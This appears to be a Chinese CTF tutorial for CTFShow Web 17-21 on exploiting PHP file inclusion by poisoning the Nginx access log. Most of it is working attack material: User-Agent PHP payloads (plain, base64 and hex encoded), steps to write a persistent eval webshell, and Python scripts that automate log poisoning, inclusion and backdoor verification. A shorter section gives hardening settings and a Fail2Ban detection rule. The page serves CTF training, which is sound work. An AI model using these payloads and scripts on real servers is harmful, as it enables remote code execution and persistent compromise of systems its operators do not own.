当前位置: 首页 > news >正文

CTFShow 萌新区 Web 17-21 通解:Nginx 日志包含漏洞利用与 3 步 Getshell

Nginx日志文件包含漏洞深度利用:从注入到Getshell的完整攻击链

1. 漏洞原理与Nginx日志机制解析

Nginx作为主流Web服务器,其访问日志(access.log)默认记录所有客户端请求信息。当PHP应用存在文件包含漏洞且未正确配置日志路径时,攻击者可通过污染日志内容实现代码注入。

日志记录关键字段

  • $remote_addr- 客户端IP
  • $request- 请求行(GET/POST等)
  • $status- 响应状态码
  • $http_user_agent- 用户代理(常被忽略的安全盲区)

典型漏洞触发条件:

  1. PHP应用使用include/require等函数动态包含文件
  2. 包含路径参数未严格过滤(如?file=/var/log/nginx/access.log)
  3. Nginx日志对运行用户可读
# 默认Nginx日志格式示例 log_format main '$remote_addr - $remote_user [$time_local] ' '"$request" $status $body_bytes_sent ' '"$http_referer" "$http_user_agent"';

警告:日志文件通常包含敏感信息,生产环境应严格限制访问权限

2. 攻击步骤拆解

2.1 日志路径探测

常见Nginx日志存储位置:

/var/log/nginx/access.log /usr/local/nginx/logs/access.log /opt/nginx/logs/access.log ../nginx/logs/access.log

快速验证方法:

curl "http://target.com/?file=/var/log/nginx/access.log"

2.2 污染日志内容

通过精心构造User-Agent注入PHP代码:

GET / HTTP/1.1 Host: target.com User-Agent: <?php system($_GET['cmd']);?>

验证注入效果:

curl "http://target.com/?file=/var/log/nginx/access.log&cmd=id"

2.3 持久化Webshell写入

为避免重复污染日志,建议写入持久化后门:

GET /shell.php HTTP/1.1 Host: target.com User-Agent: <?php file_put_contents('shell.php','<?php eval($_POST[x]);?>');

关键技巧

  • 使用单行PHP代码避免日志换行干扰
  • 优先选择可写目录(/tmp、/var/tmp等)
  • 多次URL编码绕过基础过滤

3. 高级绕过技术

3.1 日志语法污染处理

Nginx日志会自动转义特殊字符,需注意:

原始字符日志记录形式PHP解析效果
<?php<?php正常
?>?>正常
""破坏语法
''破坏语法

解决方案:

<?php system($_GET[0]); // 避免引号

3.2 多阶段编码注入

当直接注入失败时尝试:

  1. Base64编码:
User-Agent: <?php eval(base64_decode('c3lzdGVtKCdpZCcpOw=='))?>
  1. 十六进制编码:
User-Agent: <?= \x73\x79\x73\x74\x65\x6d($_GET[0]) ?>

3.3 自动化攻击脚本

import requests import urllib.parse TARGET = "http://victim.com" LOG_PATH = "/var/log/nginx/access.log" SHELL_NAME = "backdoor.php" # 步骤1:污染日志 payload = f"<?php file_put_contents('{SHELL_NAME}','<?php eval($_POST[0]);?>');?>" requests.get(TARGET, headers={"User-Agent": payload}) # 步骤2:触发包含 resp = requests.get(f"{TARGET}/?file={LOG_PATH}") if "Warning" not in resp.text: print("[+] 注入成功!") # 步骤3:验证Webshell shell_url = f"{TARGET}/{SHELL_NAME}" resp = requests.post(shell_url, data={"0": "echo md5(123);"}) if "202cb962ac59075b964b07152d234b70" in resp.text: print(f"[+] Webshell激活: {shell_url}")

4. 防御与检测方案

4.1 安全防护措施

服务器配置

# nginx.conf 安全设置 server { location ~* \.php$ { fastcgi_param PHP_ADMIN_VALUE "open_basedir=/var/www:/tmp"; fastcgi_param PHP_VALUE "disable_functions=exec,passthru,shell_exec,system"; } location ^~ /logs/ { deny all; } }

PHP防护代码

// 安全包含函数 function safe_include($path) { $allowed = ['/var/www/templates/']; $realpath = realpath($path); foreach($allowed as $prefix) { if(strpos($realpath, $prefix) === 0) { return include($realpath); } } throw new Exception("非法文件包含尝试"); }

4.2 入侵检测指标

日志监控关键词

  • <?phpin User-Agent
  • system(in request URI
  • 异常文件包含尝试

示例检测规则

# Fail2Ban规则 [nginx-php-injection] enabled = true filter = nginx-php-inject logpath = /var/log/nginx/access.log maxretry = 3 bantime = 3600 # 对应filter正则 ^\d+\.\d+\.\d+\.\d+.*"(GET|POST).*<\?php

5. 实战案例:CTFShow Web17-21完整利用

环境特征

  • PHP文件包含漏洞参数:?file=
  • Nginx日志路径已知
  • 目标flag位置:/flag

攻击流程

  1. 确定日志路径:
GET /?file=/var/log/nginx/access.log HTTP/1.1
  1. 注入执行代码:
curl -A "<?php system('cat /flag');?>" http://target.com/
  1. 触发包含获取flag:
GET /?file=/var/log/nginx/access.log HTTP/1.1

自动化脚本

import requests def exploit(target): s = requests.Session() # 污染日志 s.get(target, headers={"User-Agent": "<?php system($_GET[0]);?>"}) # 触发执行 resp = s.get(f"{target}?file=/var/log/nginx/access.log&0=cat%20/flag") print(resp.text.split('\n')[-2]) # 提取flag exploit("http://ctf.show/challenge/")
http://www.jsqmd.com/news/1177627/

相关文章:

  • 从零开始:大气层整合包系统如何让Switch破解变得简单又安全
  • Elasticsearch 8.11.1 + Kibana 8.11.1 双组件Windows联调:解决3类常见连接失败问题
  • TK1手动刷机实战:从启动链到eMMC分区的嵌入式系统重装指南
  • Canal 1.1.5 数据同步性能调优:解析并行度与MQ参数配置实测
  • Mapbox Unity SDK实战:AR地图与位置服务开发全攻略
  • 免费开源虚拟桌面伴侣Mate Engine:打造专属二次元桌宠的终极指南
  • 群晖NAS网络性能飞跃:3步实现USB 2.5G网卡驱动完整安装方案
  • 多平台都要过 AIGC 检测,选哪种降 AIGC 工具最省事?
  • C++项目集成脚本引擎:从Lua到Python的七种方案与实战解析
  • 2026年7月最新重庆伯爵官方售后客户服务电话及线下网点地址 - 亨得利钟表维修中心
  • 如何在30分钟内构建企业级GB28181视频监控平台:wvp-GB28181-pro容器化部署完整指南
  • HarmonyOS 6.1 元服务实战:把电商卡片装进系统“负一屏”
  • Git仓库基础用法
  • 两小时快速入门 FastAPI--第二回
  • IntelliJ IDEA 从卡顿到起飞,只用改这些。。。
  • IDEA Git Undo Commit 实战:3种场景(未Push/已Push/误操作)与 Force Push 风险规避
  • 为什么顶尖Rust团队已弃用VS Code转向Cursor?深度拆解其Rust分析引擎的3层抽象设计与性能实测数据
  • 收到这份年中报告
  • 终极macOS窗口管理指南:用Loop告别桌面混乱的完整教程
  • 一抹玫红落在鸡心盏上,茶席也暖了起来
  • 第1章 上电、固件与 x86_64 启动契约
  • 2026适合资深记者深度人物采访场景 面试记录整理哪个好
  • Agent是什么?
  • 抖音内容管理革命:如何用Python工具高效批量下载无水印视频
  • 2026年最新教程:视频怎么变成音频 亲测好用的免费方法 - 图片处理研究员
  • TensorFlow工业级交付:从SavedModel到Serving的工程实践
  • Ansys Fluent电化学模块电解制氢仿真:从基础到实战
  • 免费开源Windows桌面分区神器:NoFences终极使用指南,让你的桌面整洁如新
  • OpenCV 4.8.0 在 Visual Studio 2022 配置:3步解决“无法打开源文件”与 LNK2019 链接错误
  • VS2022 Qt 6.4 环境配置:MSVC 2022 与 MinGW 双编译器路径解析与 3 步验证